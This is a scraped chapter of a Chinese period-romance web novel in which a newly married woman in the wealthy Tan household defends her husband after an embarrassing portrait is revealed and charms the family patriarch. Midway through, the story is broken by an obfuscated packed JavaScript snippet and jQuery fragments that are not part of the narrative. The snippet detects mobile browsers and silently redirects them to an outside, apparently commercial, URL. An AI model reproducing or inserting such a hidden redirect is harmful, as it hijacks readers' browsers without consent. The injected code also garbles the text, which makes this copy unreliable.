4. 天塌早了

作品:《抱歉,伤害前雇主的事我手到擒来

    江黎瞧着眼前被展开的美人出浴图,只感觉她先前的天塌早了。


    这会儿,才真真是要了她的命!


    坐在老太爷右侧的谭明渊率先反应过来,上前一把将那画卷收回。


    自己这种画像呈现在家人面前,他面上实不好看,一阵青一阵白,偏生一早叫人去书房瓮中捉鳖的也是自己,他有气难撒,胸膛剧烈起伏。


    屋里唯一没有看真切那画中是何物的,是坐在上首的老太爷。


    李婆子展开画卷时,背面正冲着他,只能借着日光依稀看到些线条走向,还没等转给他看,就被谭明渊抢走。


    老太爷瞧见众人的错愕,‘笃笃’拄了两下拐杖,“那画里到底是什么,叫你们如此作态?!”


    众人只是转移了视线,咳嗽的咳嗽,数砖的数砖,皆不敢与老太爷对视。


    这下倒叫老太爷更是恼怒,“李婆子,你说!”


    方才谭明渊收起画卷时,李婆子已经瞄到一点那画里的内容。


    正懵着。


    她以为这是哪位名贵大家的画作,没想到却是一张男子画像。


    为何自家大爷的书房里会私藏如此不堪的男子画像?


    怪不得!


    怪不得,她们进入书房打扫都要受管限,原来……


    她眼神晃到同样愣怔在门口的江黎——


    难怪大奶奶会捧着这幅画发愣,到底是大爷对不住她!


    见李婆子只管呆愣也是不答,气得大病初愈的老太爷站起身,拐杖敲得‘咚咚’响,“你们一个个的,都傻了不成!”这大喜的日子闹这么一出!


    站在门口的江黎,感觉自己被重伤。


    老太爷怒喝:“没用的东西,下去!”


    听到呵斥,李婆子赶忙躬身告退。


    素日里,她们这种在府里做了有些年头的仆从很少受到如此叱责,老太爷明显是气狠了。


    李婆子不敢耽搁,只在路过江黎时心疼地瞟了她一眼。


    莫名接收到好意的眼神,江黎一愣,来不及多想,便又听老太爷道:


    “明渊,你把画给我,我自己看!”


    一向听他话的谭明渊杵在原地没动,老太爷厉声道:“拿来!”


    正僵持着,一抹嫩绿从江黎身边飘过,行了一礼,接着细声响起:


    “祖父,那画卷里没什么,不过是明渊哥的画像。”


    谭莲已快步步到谭老太爷身前,扶着人坐下来,又补充道:“新嫂子喜爱哥哥的样貌,您又不是不知道。”


    老太爷沉吟片刻,“当真?”


    “自然是真的,祖父,我还能骗您不成?!”


    谭莲作为谭家小辈里唯二的姑娘,虽养在二房院里,老太太在世时却时常过去坐陪。


    一来二去,与老太爷的关系自然要比几个小子亲近些。


    听她这么说,又见众人皆是点头,老太爷嗯了一声,脸色才算是好看过来。


    他瞧瞧在门口不知所措的江黎,又瞧瞧站在身前像木头一样杵着的谭明渊,哼了一声,“你方才不是说,你媳妇身体不适,今日便不来请安了?”


    原本即便昨夜大房没传大夫,他也打算免了江翠花今日的请安。


    他先前病重放出话去,说要报恩以求祈福,又拿出三间铺子的地契作为奖赏,叫家中的小辈履行当年定下的婚事。


    谁知这人寻来了却是个痴傻之人,可说出去的话,泼出去的水,寻人一事已在王京传开,这人他们谭家是不想娶也得娶。


    既已知晓那江翠花是个痴傻的,他也就不想给自己徒添烦恼,便想着一早派人过去知会一声免了请安。


    哪想连夜里请了大夫来看,说是痴傻之症好了。


    谭明渊向他告罪不请安一事,本也可以当做是体恤媳妇,可方才他要那画卷不给,拂了他的面子,老太爷一口气咽不下,便忍不住又拿这说事。


    气氛一时僵住。


    江黎眼见谭明渊绷着一张俊脸,视线落在地面上倔强地站着,手里那画卷抓得死紧,不吭一声,即使遭了质问,也没有将怪罪的目光投向她或是说什么不好的话。


    这副模样,与她记忆中大白刚抱回家,她老妈数落它不亲人,是请回来个祖宗伺候时,大白蹲在原地一动不动就那么老实听着的可怜模样一般。


    江黎一时心软,上前一步,有样学样的屈膝行礼,“给爷爷请安……”


    众人的矛头瞬间都指向她。


    感受到诸人的目光,江黎的目的达到,她低头硬着头皮继续说下去,“爷爷,是我……是我感觉身体好些了,便擅作主张前来,不关……明渊的事。”


    夫君两个字,属实难说出口。


    她斟酌着用词,尽力为少年辩驳。


    话音一落,立时收获一道锐利的视线,如芒在身,又很快消失。


    江黎谨慎抬头,见坐在上首的老太爷一脸喜色,容光焕发,再观谭明渊也是一脸惊讶之色,她很是不解,难道自己说错什么话了?


    她复盘一下自己方才的说词。


    嗷!


    爷爷!


    可祖父不就是爷爷吗?


    江黎不知道,在天沂‘爷爷’这个称呼一般都是寻常百姓人家所叫,像谭家这种大户人家甚少如此称呼。


    相比起‘祖父’,‘爷爷’这个称呼也更显亲昵就是了。


    老太爷年过花甲,还从未被家中小辈这么称呼过,今日一听甚是新奇,不由也顺着她道:“既如此,倒是爷爷的不是了。”


    如今,他的病好了,她的痴傻也好了。


    时也命也,这真是他们谭家的大福报!


    老太爷放松身体一副笑模样,方才不悦的小插曲就此揭过,“你们两个倒是互相护着,如今你已大好,与明渊也合该好生相处才是。”


    又冲着右侧的中年夫妻嘱咐,“那王大夫,也别忘了差些银两,好生答谢。”


    谭家如今负责掌管家中一切事宜的二太太赶忙应是。


    江黎的目光也落到这二太太身上。


    一袭攒金黛蓝妆花缎织袍,发髻高盘,两侧各插数支鎏金点翠簪花,发间缀着几串金链红珠步摇,耳戴洒金翡翠珠坠,项上是百来颗红珊瑚珠串起来的珠串。


    见她这么直刺刺地看过来,似是有些不适应,抬手抚了抚耳,那玉手五指间又是三两金镶玉宝戒,尽显华贵之气。


    江黎瞧着她,倒抽一口冷气:


    有钱!


    她先前只觉这谭家家境好,如今看了二太太才知是有多富贵。


    那二太太像是被看恼了,瞪了她一眼,江黎只觉与方才一瞬而过的感觉一致。


    不待她深究。


    一旁的谭莲拍手叫道:“这倒是好,两位嫂子与哥哥们好生相处,咱们四世同堂更热闹!”


    她这话说的隐晦,却说进了老太爷心里,惹得他哈哈大笑,连连称是。


    两房的老爷太太见了,也陪着笑。


    二房那对年轻男女更是对视,脸带羞涩之意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17169133|196810||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    江黎瞧着,心想这两人多半就是昨日也方完婚的烨大爷和烨大奶奶。


    瞧着二人,不知怎么,她也下意识瞄向同样站着的谭明渊,两人视线凌空相对。


    方一触上,江黎慌忙移开,暗自懊恼。


    自己这时候看他做什么!


    同样懊恼的还有谭明渊:明明只是寻常对视,只看了一眼,她就受不住。


    如此痴迷,这可叫他如何是好?


    往日虽不乏有姑娘明里暗里的表露爱意,他皆能很好的应对、拒绝,可这人终归是他过了明路的妻。


    方才她还帮自己说话,如若二叔的事当真冤枉了她,倒是要对她好一点,好好相处才是。


    *


    谭家老太太过世后,平日里请安只由各房的爷们来便可,各房的媳妇不必前来。


    只是,昨日新妇刚进门,今日也该见一见给些见面礼。


    难得人凑得还算齐全,老太爷高兴,便吩咐下人去准备,留大伙一同用饭。


    仆人们领命去备,谭明渊给江黎递了个眼神,意欲叫她到身边来。


    今日留饭一时半刻是走不了了,祖父定还有其他话要说,就这么一直叫她杵在屋中央也不好。


    见江黎左看右看,就是不看自己。


    他本想就这么算了,不去管她,但转念一想,又上前,当着众人的面牵了江黎的衣袖将人引到自己的座位处,按着她坐下。


    这下,小辈里便只有江黎一人是坐着的。


    面对谭明渊突然的善意叫她如坐针毡,偏生还不能表现出来,只得垂着头暗中观察屋中人的脸色。


    旁人脸色都别无异样,倒是二房一家脸色瞧上去有些古怪。


    老太爷见状,还以为她这是害羞了,又是眉开眼笑,目光将屋里的人扫了一遍,转移了话题,“明瑞去哪了?”


    三房的太太赶忙推了推她身旁的三老爷,三老爷起身,低头告罪,“明瑞昨日吃醉了酒,这会儿……还在睡着,我这就差人过去将那孽畜拿来!”


    说罢,转身作势要叫人,被老太爷抬手拦下,“诶,不必,他来不来也无别异,由他去吧。”


    三老爷‘哎’了一声,又坐下身去。


    这正和他的意,他那不成器的儿子向来不着调,比他这两个哥哥年岁小,顽劣劲儿却是不少。


    昨日他哥哥们大喜,特准他吃些酒,就收不住闹到后半夜才睡。


    这会儿若叫过来,还不知要闹怎样呢。


    老太爷又问:“明日的归宁礼都准备齐全了吧。”


    二太太回话:“心瑶的已备下了,只是……”


    “只是什么?”


    二太太目光瞄向江黎,摇了摇头,“只是,翠花的明日怕是不赶巧了。”


    江黎:……


    她得想办法改了这名字才是!


    听罢,老太爷踟躇着点点头。


    原本江翠花痴傻着,这回门一事也就罢了,她嫁进来前,谭家早就已给过江家银两算是买断。


    可如今她好了,就得问问她的意愿了。


    只是这回门礼的准备……


    不等他开口,二太太已提出对策,“若是翠花明日回门,我便差人去库房里凑一凑,咱们谭家家大业大也还是能拿的出来的,若是不急便等初六或初九再回,好好置办。”


    新妇进门的日子正是三月初一,理应初三回门,初六初九倒是也可。


    老太爷又是点头,也看向江黎。


    这意思,便是叫她选了。